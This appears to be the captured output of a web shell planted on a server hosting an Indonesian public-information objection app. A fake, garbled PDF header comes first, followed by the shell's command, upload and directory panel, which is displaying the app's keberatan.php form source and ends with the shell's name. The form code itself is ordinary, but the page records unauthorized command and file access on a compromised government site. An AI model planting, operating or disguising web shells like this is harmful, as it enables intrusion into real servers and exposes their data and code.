%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/keberatan.php
<?php
/**
 * Halaman Pengajuan Keberatan atas layanan informasi publik.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$errors = [];
$old = [
    'no_resi_permohonan' => get_param('resi'),
    'nama'   => '',
    'email'  => '',
    'no_hp'  => '',
    'alasan' => '',
    'uraian' => '',
];

$alasanOptions = [
    'ditolak'            => 'Permohonan informasi ditolak',
    'tidak_ditanggapi'   => 'Permohonan tidak ditanggapi',
    'tidak_sesuai'       => 'Informasi yang diberikan tidak sesuai permintaan',
    'biaya_tidak_wajar'  => 'Pengenaan biaya yang tidak wajar',
    'keterlambatan'      => 'Penyampaian informasi melebihi jangka waktu',
    'lainnya'            => 'Alasan lainnya',
];

$resiSukses = $_SESSION['keberatan_sukses'] ?? null;
unset($_SESSION['keberatan_sukses']);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    foreach (array_keys($old) as $k) {
        $old[$k] = post_param($k);
    }

    $permohonan = null;
    if ($old['no_resi_permohonan'] === '') {
        $errors['no_resi_permohonan'] = 'Nomor Resi permohonan wajib diisi.';
    } else {
        $permohonan = get_permohonan_by_resi($old['no_resi_permohonan']);
        if (!$permohonan) {
            $errors['no_resi_permohonan'] = 'Nomor Resi permohonan tidak ditemukan.';
        }
    }
    if ($old['nama'] === '') {
        $errors['nama'] = 'Nama lengkap wajib diisi.';
    }
    if (!is_valid_email($old['email'])) {
        $errors['email'] = 'Alamat email tidak valid.';
    }
    if (!array_key_exists($old['alasan'], $alasanOptions)) {
        $errors['alasan'] = 'Silakan pilih alasan keberatan.';
    }
    if ($old['uraian'] === '') {
        $errors['uraian'] = 'Uraian keberatan wajib diisi.';
    }

    if (empty($errors)) {
        do {
            $resi = generate_resi_keberatan();
            $cek = db()->prepare('SELECT 1 FROM keberatan WHERE no_resi = ?');
            $cek->execute([$resi]);
        } while ($cek->fetchColumn());

        $stmt = db()->prepare(
            'INSERT INTO keberatan (no_resi, permohonan_id, no_resi_permohonan, nama, email, no_hp, alasan, uraian, status)
             VALUES (?, ?, ?, ?, ?, ?, ?, ?, "baru")'
        );
        $stmt->execute([
            $resi,
            $permohonan['id'] ?? null,
            $old['no_resi_permohonan'],
            $old['nama'], $old['email'], $old['no_hp'], $old['alasan'], $old['uraian'],
        ]);

        $_SESSION['keberatan_sukses'] = $resi;
        redirect('keberatan.php');
    }
}

$pageTitle = 'Ajukan Keberatan — ' . APP_NAME_SHORT;
$activeNav = '';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';

$val = static fn (string $k) => e($old[$k] ?? '');
$inputClass = static fn (string $k) => isset($errors[$k])
    ? 'border-red-300 focus:border-red-500 focus:ring-red-100'
    : 'border-slate-300 focus:border-mateng-green focus:ring-green-100';
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span><span>Ajukan Keberatan</span>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2">Formulir Pengajuan Keberatan</h1>
        <p class="text-green-50 max-w-2xl">Ajukan keberatan apabila Anda tidak memperoleh pelayanan informasi sebagaimana mestinya.</p>
    </div>
</section>

<main class="max-w-3xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">
    <?php if ($resiSukses): ?>
        <div class="bg-white rounded-2xl border border-green-200 shadow-sm overflow-hidden">
            <div class="bg-green-50 p-8 text-center border-b border-green-100">
                <div class="w-16 h-16 bg-mateng-green text-white rounded-full flex items-center justify-center text-3xl mx-auto mb-4"><i class="fas fa-check"></i></div>
                <h2 class="text-2xl font-bold text-slate-900 mb-1">Keberatan Berhasil Diajukan!</h2>
                <p class="text-slate-500">Keberatan Anda akan ditindaklanjuti oleh Atasan PPID.</p>
            </div>
            <div class="p-8 text-center">
                <p class="text-sm text-slate-500 mb-2">Nomor Resi Keberatan</p>
                <div class="inline-block bg-slate-900 text-white text-2xl font-bold tracking-widest px-6 py-3 rounded-xl mb-6"><?= e($resiSukses) ?></div>
                <div><a href="<?= e(url('index.php')) ?>" class="bg-mateng-green hover:bg-green-700 text-white px-6 py-3 rounded-lg font-semibold transition-colors inline-block">Kembali ke Beranda</a></div>
            </div>
        </div>
    <?php else: ?>
        <?php if (!empty($errors)): ?>
            <div class="bg-red-50 border border-red-200 text-red-700 rounded-xl p-4 mb-6 text-sm flex items-start gap-2">
                <i class="fas fa-triangle-exclamation mt-0.5"></i><span>Mohon periksa kembali isian formulir.</span>
            </div>
        <?php endif; ?>

        <form method="post" class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8 space-y-5">
            <?= csrf_field() ?>
            <div>
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Nomor Resi Permohonan <span class="text-red-500">*</span></label>
                <input type="text" name="no_resi_permohonan" value="<?= $val('no_resi_permohonan') ?>" placeholder="REQ-XXXXXX-XXXXX" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('no_resi_permohonan') ?>">
                <?php if (isset($errors['no_resi_permohonan'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['no_resi_permohonan']) ?></p><?php endif; ?>
                <p class="text-xs text-slate-400 mt-1">Resi permohonan informasi yang sebelumnya Anda ajukan.</p>
            </div>
            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama Lengkap <span class="text-red-500">*</span></label>
                    <input type="text" name="nama" value="<?= $val('nama') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('nama') ?>">
                    <?php if (isset($errors['nama'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['nama']) ?></p><?php endif; ?>
                </div>
                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Email <span class="text-red-500">*</span></label>
                    <input type="email" name="email" value="<?= $val('email') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('email') ?>">
                    <?php if (isset($errors['email'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['email']) ?></p><?php endif; ?>
                </div>
            </div>
            <div>
                <label class="block text-sm font-medium text-slate-700 mb-1.5">No. HP / WhatsApp</label>
                <input type="text" name="no_hp" value="<?= $val('no_hp') ?>" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
            </div>
            <div>
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Alasan Keberatan <span class="text-red-500">*</span></label>
                <select name="alasan" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 bg-white <?= $inputClass('alasan') ?>">
                    <option value="">— Pilih alasan —</option>
                    <?php foreach ($alasanOptions as $key => $label): ?>
                        <option value="<?= e($key) ?>" <?= $old['alasan'] === $key ? 'selected' : '' ?>><?= e($label) ?></option>
                    <?php endforeach; ?>
                </select>
                <?php if (isset($errors['alasan'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['alasan']) ?></p><?php endif; ?>
            </div>
            <div>
                <label class="block text-sm font-medium text-slate-700 mb-1.5">Uraian Keberatan <span class="text-red-500">*</span></label>
                <textarea name="uraian" rows="4" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= $inputClass('uraian') ?>" placeholder="Jelaskan keberatan Anda secara rinci..."><?= $val('uraian') ?></textarea>
                <?php if (isset($errors['uraian'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['uraian']) ?></p><?php endif; ?>
            </div>
            <button type="submit" class="w-full bg-mateng-green hover:bg-green-700 text-white font-bold px-6 py-3.5 rounded-xl transition-colors flex items-center justify-center gap-2">
                <i class="fas fa-gavel"></i> Kirim Keberatan
            </button>
        </form>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass